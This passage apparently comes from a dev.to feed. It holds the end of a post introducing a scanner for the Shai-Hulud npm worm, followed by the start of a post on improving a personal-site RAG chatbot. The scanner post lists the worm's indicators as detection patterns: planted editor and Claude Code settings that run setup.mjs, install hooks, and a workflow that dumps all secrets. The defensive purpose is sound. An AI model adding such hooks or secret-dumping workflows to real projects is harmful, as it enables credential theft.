&lt;p&gt;My GitHub account came next. A repo I haven't cloned in years still counts, because the worm commits to repos, not machines. With a read-only token, the scanner went through the latest commit of every branch in all &lt;strong&gt;47 repos&lt;/strong&gt; I own or collaborate on, checking lockfiles and the files above, and looked for any repo the worm had created under my account. &lt;strong&gt;Nothing found&lt;/strong&gt; there either.&lt;/p&gt;

&lt;p&gt;That was a relief after last month. But a clean result is only as good as what the scanner looks for.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a list of versions isn't enough
&lt;/h2&gt;

&lt;p&gt;The list of infected versions always lags behind the worm: a package infected this morning won't be on it yet. So version matching is only one of the checks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The planted files.&lt;/strong&gt; A &lt;code&gt;tasks.json&lt;/code&gt; or Claude Code settings file that runs &lt;code&gt;setup.mjs&lt;/code&gt; is flagged whatever your dependencies are. So are the loader and payload files where the worm puts them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The install script.&lt;/strong&gt; Any &lt;code&gt;package.json&lt;/code&gt; whose &lt;code&gt;preinstall&lt;/code&gt;, &lt;code&gt;install&lt;/code&gt; or &lt;code&gt;postinstall&lt;/code&gt; runs &lt;code&gt;setup.mjs&lt;/code&gt; is flagged. That catches an infected package even before it reaches any list.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprints.&lt;/strong&gt; Files with the worm's names are checked against the published SHA-256 hashes, and for strings that only appear in its code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The secrets workflow.&lt;/strong&gt; Any workflow that dumps &lt;code&gt;toJSON(secrets)&lt;/code&gt; gets flagged. Normal workflows almost never need every secret at once.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The stolen-secrets repo.&lt;/strong&gt; A repo under your account described "Shai-Hulud: Here We Go Again" means your credentials have already been taken, even if every other check comes back clean.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The false alarm
&lt;/h2&gt;

&lt;p&gt;The first run on my machine did find something: a file called &lt;code&gt;Math_Symbol.js&lt;/code&gt;, inside &lt;code&gt;node_modules&lt;/code&gt; in one of my projects. That's one of the worm's payload names.&lt;/p&gt;

&lt;p&gt;It's also the name of a real file. &lt;code&gt;regenerate-unicode-properties&lt;/code&gt;, which Babel depends on, ships a &lt;code&gt;Math_Symbol.js&lt;/code&gt; holding the Unicode "Math Symbol" character category. It's in a huge number of JavaScript projects.&lt;/p&gt;

&lt;p&gt;So inside &lt;code&gt;node_modules&lt;/code&gt;, a name alone no longer counts. A file there needs a matching hash or the worm's marker strings, and an infected package is caught by its version and install script anyway. A scanner that cries wolf on half the projects in the world wouldn't help anyone, so that case is now one of its tests.&lt;/p&gt;

&lt;h2&gt;
  
  
  If it finds something
&lt;/h2&gt;

&lt;p&gt;The order matters, and it's in the &lt;a href="https://github.com/huzaifa207/shai-hulud-scan#if-it-finds-something" rel="noopener noreferrer"&gt;README&lt;/a&gt;. In short:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Treat the machine as compromised.&lt;/strong&gt; If an infected version was installed, its install script has already run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Revoke and replace credentials first, from a clean device:&lt;/strong&gt; npm and GitHub tokens, SSH keys, cloud keys, and anything in &lt;code&gt;.env&lt;/code&gt; files. Clean up before that and the worm can come straight back.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delete what it made on GitHub,&lt;/strong&gt; after saving what you need: the stolen-secrets repo, the workflow, and any Actions artifact named &lt;code&gt;format-results.txt&lt;/code&gt;, which holds your secrets in readable form.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remove the planted files from every branch,&lt;/strong&gt; and don't open those branches in VS Code or start Claude Code in them until you have.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pin clean versions&lt;/strong&gt; and reinstall with scripts turned off: &lt;code&gt;npm ci --ignore-scripts&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Making it harder next time
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Turn install scripts off by default:&lt;/strong&gt; &lt;code&gt;npm config set ignore-scripts true&lt;/code&gt;. A few packages need theirs; pnpm 10 already blocks them unless you allow a package by name.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wait a few days before taking new versions,&lt;/strong&gt; so someone else finds the bad release first. pnpm's &lt;code&gt;minimumReleaseAge&lt;/code&gt; does this for you.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commit your lockfile and install with &lt;code&gt;npm ci&lt;/code&gt;,&lt;/strong&gt; so a new version can't arrive without a commit you can see.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review &lt;code&gt;.vscode/&lt;/code&gt;, &lt;code&gt;.claude/&lt;/code&gt; and &lt;code&gt;.github/workflows/&lt;/code&gt; like code.&lt;/strong&gt; All three hold commands your tools will run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep tokens short-lived and limited to one job,&lt;/strong&gt; and publish packages through npm's trusted publishing rather than a long-lived token on your laptop.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What the scanner can't tell you
&lt;/h2&gt;

&lt;p&gt;It knows what's been published so far: the versions on the lists from Datadog and Unit 42, and the file names, hashes and markers in their reports. A new wave with new names gets past it until someone adds them. It reads the latest commit of each branch, not the whole history. And for the earlier Shai-Hulud waves, it checks their files and repo descriptions, not their full package lists.&lt;/p&gt;

&lt;p&gt;So "nothing found" means nothing &lt;em&gt;known&lt;/em&gt; found. On my account that's the best answer available, and better than not checking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check your own
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/huzaifa207/shai-hulud-scan" rel="noopener noreferrer"&gt;shai-hulud-scan&lt;/a&gt; needs Python 3.10 or later and nothing else, and it changes nothing. Point it at your projects folder:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 scan.py ~/code
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add &lt;code&gt;--github&lt;/code&gt; and a read-only token to check every branch of every repo on your account. It exits with an error when it finds something, so it can also fail a CI job. If you know of a version or file it misses, &lt;a href="https://github.com/huzaifa207/shai-hulud-scan/issues/new/choose" rel="noopener noreferrer"&gt;open an issue&lt;/a&gt; with the source.&lt;/p&gt;

&lt;p&gt;If you get stuck, &lt;a href="mailto:khanhuzaifa207@gmail.com"&gt;email me&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://www.csa.gov.sg/alerts-and-advisories/advisories/ad-2026-009/" rel="noopener noreferrer"&gt;CSA advisory AD-2026-009&lt;/a&gt;, &lt;a href="https://securitylabs.datadoghq.com/articles/npm-worm-compromises-popular-npm-packages/" rel="noopener noreferrer"&gt;Datadog Security Labs&lt;/a&gt;, &lt;a href="https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/" rel="noopener noreferrer"&gt;Unit 42&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>npm</category>
      <category>javascript</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Three reader fixes for my $0 RAG chatbot, measured before and after</title>
      <dc:creator>Huzaifa Khan</dc:creator>
      <pubDate>Tue, 27 Oct 2026 19:17:38 +0000</pubDate>
      <link>https://dev.to/huzaifa207/three-reader-fixes-for-my-0-rag-chatbot-measured-before-and-after-5ck2</link>
      <guid>https://dev.to/huzaifa207/three-reader-fixes-for-my-0-rag-chatbot-measured-before-and-after-5ck2</guid>
      <description>&lt;p&gt;I recently compared &lt;a href="https://itshuzaifa.com/writing/qdrant-vs-upstash-vector/" rel="noopener noreferrer"&gt;two ways to run a RAG chatbot on a personal site for $0&lt;/a&gt;. Two readers left suggestions, one on Hashnode and one on dev.to, and they were good enough that I built them instead of just saying thanks.&lt;/p&gt;

&lt;p&gt;My first thought was that my site is too small to need them. It had 76 passages when I measured for that post. Then I counted again: two posts later it has 110, and the search scores had already slipped. A site that grows with every post is exactly where these fixes pay off. So I added all three to both chatbots from that post, and to the chatbot on my site, and measured each one before and after.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three suggestions
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Re-index only what changed.&lt;/strong&gt; Store a hash of each passage's text. Give passages IDs that don't change when the rest of the page does. Then write only the passages whose hash changed, and delete the ones that are gone. (Hashnode)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Put a date on every passage.&lt;/strong&gt; A site disagrees with itself over time, and an old page written plainly can outrank the newer page that's right. Date each passage, tell the model to trust the newest and say "as of", and keep one page that's always current. Then test it with questions where an old page and a new page both look relevant. As the reader put it, the answer was "cited, well written, and two years out of date." (dev.to)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log the questions the site answers poorly.&lt;/strong&gt; Record how well each question matched, and the weak ones become the list of pages to write or rewrite. (Hashnode)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How I measured
&lt;/h2&gt;

&lt;p&gt;I froze a copy of my site's &lt;code&gt;llms-full.txt&lt;/code&gt; from 19 October 2026: 15 documents, 110 passages. Then I ran the code from that post (before) and the new code (after) on that copy, in both twins:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Re-indexing:&lt;/strong&gt; five runs that mimic real life. The first index, the same content again (a quiet night), one sentence edited in one post, one section inserted near the top of a long post, and one short post added.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Search quality:&lt;/strong&gt; that post's 38 questions, plus 12 the site can't answer (the capital of France, sourdough bread, my GPA).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dates:&lt;/strong&gt; my site doesn't contradict itself yet, so I made up one that does. "Sam Rivera" has an About page from 2022 (not taking freelance work, $40 an hour) and an overview dated October 2026 ($70, freelancing again from November). There's a 2023 post about using MongoDB for everything and a 2026 one about moving to Postgres, and a 2024 setup post with VS Code against a 2026 one about switching to Zed. I wrote the old pages more plainly, so they match the questions' words better. Then I asked five present-tense questions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  1. Re-index only what changed
&lt;/h2&gt;

&lt;p&gt;Before, every re-index embedded and wrote every passage, whether anything had changed or not. In that post I noted that a large site on Upstash "would need to skip unchanged passages, for example by comparing a content hash". The reader explained how.&lt;/p&gt;

&lt;p&gt;Now each passage stores a hash of its text, and a re-index compares before writing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;stored&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hashes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# id → hash, for every stored passage
&lt;/span&gt;&lt;span class="n"&gt;changed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;chunks&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;stored&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;stale&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stored&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;changed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;dense&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sparse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;embed_passages&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;changed&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dense&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sparse&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stale&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnz74llna9jes6919qhny.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnz74llna9jes6919qhny.png" alt="Passages written per re-index, before and after. Before, every run wrote every passage: 110, 110, 110, 111 and 115. After, only what changed: 110 for the first index, then 0 when nothing changed, 1 for a one-sentence edit, 1 for a section inserted near the top of a long post, and 4 for a short new post. On Upstash, where each write is a metered request, that's 556 writes before and 116 after." width="800" height="630"&gt;&lt;/a&gt;&lt;em&gt;Both twins wrote exactly the same counts.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The time went with it. On the Qdrant twin, a run took about 4 seconds before, nearly all of it embedding 110 passages on the CPU. Now a quiet night takes 0.02 seconds and an edit about 0.3. On Upstash, where every written vector counts against the 10,000 daily requests, those five runs used 556 writes before and 116 after. A quiet night now costs a couple of requests instead of 110.&lt;/p&gt;

&lt;p&gt;It held up on both live twins too. On each, the first run after deploying converted the index once: 122 passages written under their new IDs and the 110 old ones deleted (the site had grown again), in 18 seconds on Qdrant and 24 on Upstash. The next run, with nothing changed, wrote nothing and deleted nothing, and finished in about half a second on both. It didn't even load the embedding models, because there was nothing to embed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hashes alone weren't enough
&lt;/h3&gt;

&lt;p&gt;The first version still rewrote far too much. Passage IDs were the page's URL plus the passage's position on the page. When I inserted one section near the top of a long post, every passage after it moved up one place. Hashes compare text under the same ID, so 25 passages looked changed, and the edit would have rewritten 26.&lt;/p&gt;

&lt;p&gt;The fix is what the reader suggested: IDs from the URL and the heading, not the position.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;#&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;#&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;#&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# n: the piece, when a long section is split
&lt;/span&gt;&lt;span class="n"&gt;point_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;uuid5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NAMESPACE_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a page has two sections with the same heading, the second one's ID gets a number, so IDs never collide. Now an edit touches only its own passages. The one cost: the first run after upgrading writes everything once, under the new IDs, and deletes the old ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. A date on every passage
&lt;/h2&gt;

&lt;p&gt;On the made-up site, the old page ranked first for all five questions. Four answers still used the current fact, but one said "I use MongoDB" from the 2023 post, and none said "as of".&lt;/p&gt;

&lt;p&gt;Three changes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The parser reads each page's date&lt;/strong&gt; (&lt;code&gt;Updated&lt;/code&gt;, or else &lt;code&gt;Published&lt;/code&gt;), and every passage header ends with it, like &lt;code&gt;Moving from MongoDB to Postgres · published Jun 2026&lt;/code&gt;. Only the month goes in, because the header is part of the hashed text. That way, re-dating a page within the same month doesn't re-index it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Each source in the prompt shows its date&lt;/strong&gt; next to its number: &lt;code&gt;[3] https://sam.example/writing/mongodb-to-postgres/ · 2026-06-02&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two new rules in the system prompt:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;"If sources disagree, go with the most recent one and leave the older claim out."&lt;/li&gt;
&lt;li&gt;"When the answer can change over time (what's being worked on, availability, prices, the tools used), say 'as of' with the month and year of the source you used."&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What database do you use?&lt;/td&gt;
&lt;td&gt;"I use MongoDB" (stale)&lt;/td&gt;
&lt;td&gt;PostgreSQL, "as of June 2026"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Are you taking freelance work?&lt;/td&gt;
&lt;td&gt;Not yet, from November&lt;/td&gt;
&lt;td&gt;Same, as of the October update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What are you working on right now?&lt;/td&gt;
&lt;td&gt;Ledgerly&lt;/td&gt;
&lt;td&gt;Ledgerly, as of October 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What editor do you use?&lt;/td&gt;
&lt;td&gt;Zed&lt;/td&gt;
&lt;td&gt;Zed, as of October 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is your hourly rate?&lt;/td&gt;
&lt;td&gt;$70&lt;/td&gt;
&lt;td&gt;$70, as of October 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;One answer each, &lt;code&gt;gpt-oss-120b&lt;/code&gt; on Groq.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;All five answers now use the current fact, and all five say when it's from.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The ranking didn't change, though.&lt;/strong&gt; The old page still came first for all five questions, before and after: the dates don't move the search. What they do is let the model settle a conflict once both pages are among the five passages it reads. One newer page only just made it, in 5th place, and a date can't help a page that isn't retrieved. That's why the reader's "now" page matters. One page that always holds the current facts gives present-tense questions a reliable place to land.&lt;/p&gt;

&lt;h3&gt;
  
  
  My site's side
&lt;/h3&gt;

&lt;p&gt;My site's &lt;code&gt;llms-full.txt&lt;/code&gt; now dates every document:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each post carries its publish date, plus an update date when it's edited. My admin panel stamps that date whenever I publish.&lt;/li&gt;
&lt;li&gt;Each case study carries the date it last changed.&lt;/li&gt;
&lt;li&gt;The overview, About, Services, FAQ and Stack documents carry the build date, because they're generated from the site's current data on every deploy. The overview is the "now" page.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Search quality didn't move. With every document dated, the 38 questions scored the same as before: 0.82 hit@1, 0.92 hit@3 and hit@5, and 0.864 MRR.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Log the questions the site answers poorly
&lt;/h2&gt;

&lt;p&gt;The first problem: which score? The hybrid search ranks passages with Reciprocal Rank Fusion, whose score comes only from rank. The top passage scores about the same whether it's a perfect match or a poor one, so it can't say how well a question was covered.&lt;/p&gt;

&lt;p&gt;So the search now also returns each passage's meaning vector. The code compares it with the question's own vector (cosine similarity, from 0 to 1), and the best passage's score is the question's match:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;points&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query_points&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt; &lt;span class="n"&gt;with_vectors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dense&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="n"&gt;points&lt;/span&gt;
&lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cosine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dense&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dense&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;points&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;weak_match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;weak match %.2f: %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;question&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Upstash, it's &lt;code&gt;include_vectors=True&lt;/code&gt; on the same query. To set the threshold, I scored both question sets:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1lf3u8v50vehb59aouxp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1lf3u8v50vehb59aouxp.png" alt="How well each question matched the site. The 38 questions the site answers score from 0.54 to 0.86; the 12 off-topic ones score from 0.45 to 0.57. Below the 0.6 line, 22 questions are logged as weak: all 12 off-topic ones, all 3 that search now misses, and 7 it found but matched weakly." width="800" height="485"&gt;&lt;/a&gt;&lt;em&gt;Every off-topic question falls below 0.6, and so do all three misses.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;At 0.6, the log catches every off-topic question and every question the search now misses. It also flags seven that the search answered correctly but only weakly, which are worth a look too.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The three misses were the real finding.&lt;/strong&gt; All three are hiring questions: "What would it cost to hire him?", "Who would own the software he writes for us?", and "Can he keep helping once the product is out?". The FAQ answers them, but the comparison post, with all its talk of costs, free tiers, and keeping things running, now outranks the FAQ. That post is the reason the scores slipped. On the 76 passages that post was measured on, the same 38 questions scored 0.84 hit@1 and 1.00 hit@5 (one answer key now also accepts the new post). On today's 110, they score 0.82 and 0.92.&lt;/p&gt;

&lt;h3&gt;
  
  
  Keeping the list
&lt;/h3&gt;

&lt;p&gt;A log line isn't a list. Vercel keeps a free project's logs for an hour, so a weak question asked overnight was gone by morning. So each twin can now keep them in Postgres. With a free &lt;a href="https://neon.com" rel="noopener noreferrer"&gt;Neon&lt;/a&gt; database connected from Vercel's Storage tab, every weak question is saved with its score, the page search ranked first, and the time, and nothing about the visitor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
